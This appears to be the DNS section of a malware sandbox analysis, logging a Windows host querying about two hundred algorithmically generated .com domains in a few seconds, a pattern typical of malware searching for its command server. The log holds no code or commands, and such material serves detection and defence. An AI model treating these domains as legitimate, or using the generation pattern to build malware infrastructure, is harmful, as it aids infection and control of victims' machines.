                                                                                                                                                                                                          Aug 23, 2024 18:43:33.566334009 CEST192.168.2.51.1.1.10xf356Standard query (0)lygyfej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.566603899 CEST192.168.2.51.1.1.10xf270Standard query (0)vowyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.567086935 CEST192.168.2.51.1.1.10xd540Standard query (0)qexyqip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.567320108 CEST192.168.2.51.1.1.10x84cbStandard query (0)pufydaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.567363977 CEST192.168.2.51.1.1.10x7fd6Standard query (0)gaqyzyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.567663908 CEST192.168.2.51.1.1.10x79deStandard query (0)lyxymix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.567799091 CEST192.168.2.51.1.1.10x3dc7Standard query (0)vofydak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.567982912 CEST192.168.2.51.1.1.10x4466Standard query (0)puzymup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.568130016 CEST192.168.2.51.1.1.10xdb33Standard query (0)qeqylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.568229914 CEST192.168.2.51.1.1.10x86f5Standard query (0)gadydow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.730947971 CEST192.168.2.51.1.1.10x4d86Standard query (0)lymylen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.731538057 CEST192.168.2.51.1.1.10x6c1fStandard query (0)volymuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.732203007 CEST192.168.2.51.1.1.10x2f06Standard query (0)qedysol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.732827902 CEST192.168.2.51.1.1.10x47d3Standard query (0)pumyleg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.733136892 CEST192.168.2.51.1.1.10x321Standard query (0)lysysir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.733669996 CEST192.168.2.51.1.1.10x8eaStandard query (0)vonykam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.734002113 CEST192.168.2.51.1.1.10x2cb8Standard query (0)pupypil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.734019995 CEST192.168.2.51.1.1.10x756dStandard query (0)qekynyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.734651089 CEST192.168.2.51.1.1.10xb5a0Standard query (0)ganykah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.734668970 CEST192.168.2.51.1.1.10xf700Standard query (0)lykynyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.735137939 CEST192.168.2.51.1.1.10x496dStandard query (0)vopyput.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.735492945 CEST192.168.2.51.1.1.10xe795Standard query (0)qebykoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.735975981 CEST192.168.2.51.1.1.10x40ccStandard query (0)pujybev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.736438990 CEST192.168.2.51.1.1.10x918aStandard query (0)gatypuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.736742020 CEST192.168.2.51.1.1.10x615fStandard query (0)lyvyjoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.736855030 CEST192.168.2.51.1.1.10xd803Standard query (0)vojybef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.737236977 CEST192.168.2.51.1.1.10x18Standard query (0)qetytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.737612009 CEST192.168.2.51.1.1.10x29f1Standard query (0)lyrytyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.737840891 CEST192.168.2.51.1.1.10xef56Standard query (0)gahyvab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.739444017 CEST192.168.2.51.1.1.10x48f3Standard query (0)vocyjik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.740695953 CEST192.168.2.51.1.1.10x81e4Standard query (0)galynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.740729094 CEST192.168.2.51.1.1.10xc19cStandard query (0)lygyvon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.740911961 CEST192.168.2.51.1.1.10x7436Standard query (0)qegyvag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741036892 CEST192.168.2.51.1.1.10xa20eStandard query (0)purytyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741274118 CEST192.168.2.51.1.1.10x855fStandard query (0)vowyrec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741313934 CEST192.168.2.51.1.1.10x48c0Standard query (0)gacyhuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741441965 CEST192.168.2.51.1.1.10xbafdStandard query (0)pufycog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741647005 CEST192.168.2.51.1.1.10xa817Standard query (0)lyxygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741796970 CEST192.168.2.51.1.1.10x25c5Standard query (0)gaqyres.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.741803885 CEST192.168.2.51.1.1.10x8ed9Standard query (0)vofycim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742063046 CEST192.168.2.51.1.1.10xca5eStandard query (0)qexyhul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742074013 CEST192.168.2.51.1.1.10xb3eeStandard query (0)qeqyrav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742259026 CEST192.168.2.51.1.1.10xb135Standard query (0)puzygyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742475986 CEST192.168.2.51.1.1.10xf50Standard query (0)puvyjiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742521048 CEST192.168.2.51.1.1.10x90f7Standard query (0)gadycih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742672920 CEST192.168.2.51.1.1.10x6687Standard query (0)lymywad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742866993 CEST192.168.2.51.1.1.10x9272Standard query (0)volygyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.742971897 CEST192.168.2.51.1.1.10xf0a5Standard query (0)qedyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.743383884 CEST192.168.2.51.1.1.10x5483Standard query (0)galyfez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.743555069 CEST192.168.2.51.1.1.10xa684Standard query (0)lysyxuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.743732929 CEST192.168.2.51.1.1.10x2155Standard query (0)qekyfep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.743833065 CEST192.168.2.51.1.1.10x9fdbStandard query (0)pupyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.744107962 CEST192.168.2.51.1.1.10x4f47Standard query (0)pumywov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.744282961 CEST192.168.2.51.1.1.10xac57Standard query (0)ganyqib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.744391918 CEST192.168.2.51.1.1.10x655bStandard query (0)vonyqof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.744592905 CEST192.168.2.51.1.1.10xe498Standard query (0)pujydap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.744635105 CEST192.168.2.51.1.1.10x5531Standard query (0)gatyzyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.744792938 CEST192.168.2.51.1.1.10x716Standard query (0)lyvymun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745012999 CEST192.168.2.51.1.1.10xd599Standard query (0)vojydoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745166063 CEST192.168.2.51.1.1.10x7c2Standard query (0)lykyfax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745328903 CEST192.168.2.51.1.1.10xf64aStandard query (0)puvymug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745392084 CEST192.168.2.51.1.1.10x87fdStandard query (0)qebyqig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745577097 CEST192.168.2.51.1.1.10xce3eStandard query (0)gahydos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745754957 CEST192.168.2.51.1.1.10x1cbcStandard query (0)qetylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.745908976 CEST192.168.2.51.1.1.10x2eeStandard query (0)lyryler.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746109962 CEST192.168.2.51.1.1.10xcef3Standard query (0)vocymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746141911 CEST192.168.2.51.1.1.10xff43Standard query (0)qegysiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746309042 CEST192.168.2.51.1.1.10x140Standard query (0)purylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746469975 CEST192.168.2.51.1.1.10x918cStandard query (0)gacynyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746594906 CEST192.168.2.51.1.1.10x4b0cStandard query (0)lygysid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746640921 CEST192.168.2.51.1.1.10xf9Standard query (0)vowykat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746838093 CEST192.168.2.51.1.1.10x2db5Standard query (0)qexynyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.746984959 CEST192.168.2.51.1.1.10x7225Standard query (0)pufypuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.747129917 CEST192.168.2.51.1.1.10x5a8dStandard query (0)vopyzyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.280989885 CEST192.168.2.51.1.1.10x9a2eStandard query (0)gaqykoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.281591892 CEST192.168.2.51.1.1.10x2068Standard query (0)lyxynej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.282339096 CEST192.168.2.51.1.1.10x18cStandard query (0)vofypuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.283092976 CEST192.168.2.51.1.1.10xf549Standard query (0)qeqykop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.283691883 CEST192.168.2.51.1.1.10xed71Standard query (0)puzybeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.284533978 CEST192.168.2.51.1.1.10x80e6Standard query (0)gadypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.284828901 CEST192.168.2.51.1.1.10xa5d4Standard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.285233021 CEST192.168.2.51.1.1.10xbbc9Standard query (0)volybak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.285479069 CEST192.168.2.51.1.1.10x2f90Standard query (0)qedytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.285913944 CEST192.168.2.51.1.1.10x7a7fStandard query (0)galyvaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.286444902 CEST192.168.2.51.1.1.10x4e93Standard query (0)lysytyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.286672115 CEST192.168.2.51.1.1.10xd134Standard query (0)qekyvol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.286720037 CEST192.168.2.51.1.1.10x73d9Standard query (0)vonyjuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.287337065 CEST192.168.2.51.1.1.10xd672Standard query (0)ganyhus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.287480116 CEST192.168.2.51.1.1.10x6761Standard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.287820101 CEST192.168.2.51.1.1.10x38a9Standard query (0)lykyvor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.288300037 CEST192.168.2.51.1.1.10x7d98Standard query (0)vopyrem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.288645983 CEST192.168.2.51.1.1.10xd6efStandard query (0)qebyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.288674116 CEST192.168.2.51.1.1.10x393eStandard query (0)pujycil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.289302111 CEST192.168.2.51.1.1.10x3c26Standard query (0)lyvygyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.289557934 CEST192.168.2.51.1.1.10x101cStandard query (0)vojycit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.289618015 CEST192.168.2.51.1.1.10x3701Standard query (0)gatyrah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.290163040 CEST192.168.2.51.1.1.10xec85Standard query (0)qetyraq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.290502071 CEST192.168.2.51.1.1.10x289cStandard query (0)puvygyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.290817022 CEST192.168.2.51.1.1.10x75a4Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.291107893 CEST192.168.2.51.1.1.10xd8f6Standard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.291527033 CEST192.168.2.51.1.1.10x2f38Standard query (0)vocygef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.291989088 CEST192.168.2.51.1.1.10x2252Standard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.292247057 CEST192.168.2.51.1.1.10x27f1Standard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.292282104 CEST192.168.2.51.1.1.10xa9caStandard query (0)purywoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.292918921 CEST192.168.2.51.1.1.10x6f95Standard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.295458078 CEST192.168.2.51.1.1.10x4e41Standard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.295838118 CEST192.168.2.51.1.1.10x4c05Standard query (0)qexyfag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.298980951 CEST192.168.2.51.1.1.10xa15Standard query (0)pumyjip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.299146891 CEST192.168.2.51.1.1.10x77b1Standard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.299146891 CEST192.168.2.51.1.1.10x4c20Standard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.299351931 CEST192.168.2.51.1.1.10x1c03Standard query (0)vofyzyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.299911022 CEST192.168.2.51.1.1.10x746fStandard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300079107 CEST192.168.2.51.1.1.10x392fStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300180912 CEST192.168.2.51.1.1.10x8940Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300378084 CEST192.168.2.51.1.1.10xf058Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300415993 CEST192.168.2.51.1.1.10xe0c0Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300605059 CEST192.168.2.51.1.1.10x2105Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300753117 CEST192.168.2.51.1.1.10xe397Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300870895 CEST192.168.2.51.1.1.10x8d78Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.300921917 CEST192.168.2.51.1.1.10x3818Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.301131010 CEST192.168.2.51.1.1.10xbb43Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.301240921 CEST192.168.2.51.1.1.10x610Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.301484108 CEST192.168.2.51.1.1.10x38e6Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.301636934 CEST192.168.2.51.1.1.10xd18eStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.301702023 CEST192.168.2.51.1.1.10x1846Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.301785946 CEST192.168.2.51.1.1.10x7b6aStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.302205086 CEST192.168.2.51.1.1.10x88d4Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.302216053 CEST192.168.2.51.1.1.10xf62fStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.302454948 CEST192.168.2.51.1.1.10x4d8dStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.302860975 CEST192.168.2.51.1.1.10xa59Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.303035021 CEST192.168.2.51.1.1.10xfe93Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.303124905 CEST192.168.2.51.1.1.10x8080Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.303224087 CEST192.168.2.51.1.1.10x8380Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.303388119 CEST192.168.2.51.1.1.10x529cStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.303587914 CEST192.168.2.51.1.1.10x82f6Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.303600073 CEST192.168.2.51.1.1.10xb58Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.304208040 CEST192.168.2.51.1.1.10x2bebStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.304336071 CEST192.168.2.51.1.1.10x30fcStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.304485083 CEST192.168.2.51.1.1.10x47b2Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.304687023 CEST192.168.2.51.1.1.10x2c9cStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305105925 CEST192.168.2.51.1.1.10xc41eStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305143118 CEST192.168.2.51.1.1.10x48fbStandard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305365086 CEST192.168.2.51.1.1.10x7df9Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305392981 CEST192.168.2.51.1.1.10x36fStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305561066 CEST192.168.2.51.1.1.10x4ad3Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305774927 CEST192.168.2.51.1.1.10x954aStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.305892944 CEST192.168.2.51.1.1.10x6df3Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306055069 CEST192.168.2.51.1.1.10x7f84Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306202888 CEST192.168.2.51.1.1.10x848fStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306358099 CEST192.168.2.51.1.1.10x88e9Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306499958 CEST192.168.2.51.1.1.10x7d4eStandard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306627035 CEST192.168.2.51.1.1.10x6b15Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306657076 CEST192.168.2.51.1.1.10xfc9eStandard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306804895 CEST192.168.2.51.1.1.10xee04Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.306982994 CEST192.168.2.51.1.1.10xa603Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307025909 CEST192.168.2.51.1.1.10x3798Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307261944 CEST192.168.2.51.1.1.10x3670Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307441950 CEST192.168.2.51.1.1.10xab57Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307602882 CEST192.168.2.51.1.1.10x7941Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307710886 CEST192.168.2.51.1.1.10xb739Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307796955 CEST192.168.2.51.1.1.10x84acStandard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.307893038 CEST192.168.2.51.1.1.10x27e1Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308082104 CEST192.168.2.51.1.1.10x5471Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308207989 CEST192.168.2.51.1.1.10xa0a9Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308388948 CEST192.168.2.51.1.1.10x7cddStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308429003 CEST192.168.2.51.1.1.10x4a0bStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308587074 CEST192.168.2.51.1.1.10x786bStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308729887 CEST192.168.2.51.1.1.10xf376Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308885098 CEST192.168.2.51.1.1.10x2d7eStandard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.308943987 CEST192.168.2.51.1.1.10x36e5Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309101105 CEST192.168.2.51.1.1.10x801dStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309259892 CEST192.168.2.51.1.1.10x52d1Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309437037 CEST192.168.2.51.1.1.10x8b52Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309478998 CEST192.168.2.51.1.1.10x44e3Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309645891 CEST192.168.2.51.1.1.10x1e87Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309712887 CEST192.168.2.51.1.1.10xf499Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.309873104 CEST192.168.2.51.1.1.10xfad7Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.310022116 CEST192.168.2.51.1.1.10x8a28Standard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.299595118 CEST192.168.2.51.1.1.10x529cStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.315187931 CEST192.168.2.51.1.1.10x529cStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.338887930 CEST192.168.2.51.1.1.10xb375Standard query (0)ww6.galyqaz.comA (IP address)IN (0x0001)false
